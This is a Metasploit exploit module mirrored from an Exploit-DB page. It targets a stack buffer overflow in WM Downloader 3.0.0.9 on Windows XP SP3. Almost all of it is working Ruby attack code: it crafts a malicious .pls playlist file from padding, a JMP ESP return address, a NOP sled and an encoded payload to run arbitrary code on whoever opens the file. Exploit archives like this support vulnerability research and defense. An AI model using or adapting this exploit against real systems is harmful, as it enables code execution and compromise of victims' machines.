WM Downloader 3.0.0.9 – Local Buffer Overflow (Metasploit)

  • 作者: blake
    日期: 2010-04-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/12388/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::FILEFORMAT
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'WM Downloader Buffer Overflow Exploit',
    'Description' => %q{
    This module exploits a stack overflow in WM Downloader
    version 3.0.0.9.
    By creating a specially crafted .pls file, an an attacker may be
    able
    to execute arbitrary code.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Blake',
    ],
    'Version' => '$Revision: 1 $',
    'References' =>
    [
    [ 'OSVDB', '62614' ],
    [ 'URL', 'http://www.exploit-db.com/exploits/11384' ],
    ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread',
    },
    'Payload' =>
    {
    'Space' => 1904,
    'BadChars' => "\x00\x0a\x0d\x20",
    'StackAdjustment' => -3500,
    },
    'Platform' => 'win',
    'Targets' =>
    [
    [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ], #
    ntdll.dll JMP ESP
    ],
    'Privileged' => false,
    'DisclosureDate' => 'Feb 10 2010',
    'DefaultTarget' => 0))
    
    register_options(
    [
    OptString.new('FILENAME', [ false, 'The file name.',
    'exploit.pls']),
    ], self.class)
    end
    
    
    def exploit
    
    sploit = rand_text_alphanumeric(26084)
    sploit << [target.ret].pack('V')
    sploit << make_nops(20)
    sploit << payload.encoded
    sploit << rand_text_alphanumeric(28000 - payload.encoded.length)
    
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
    
    end
    
    end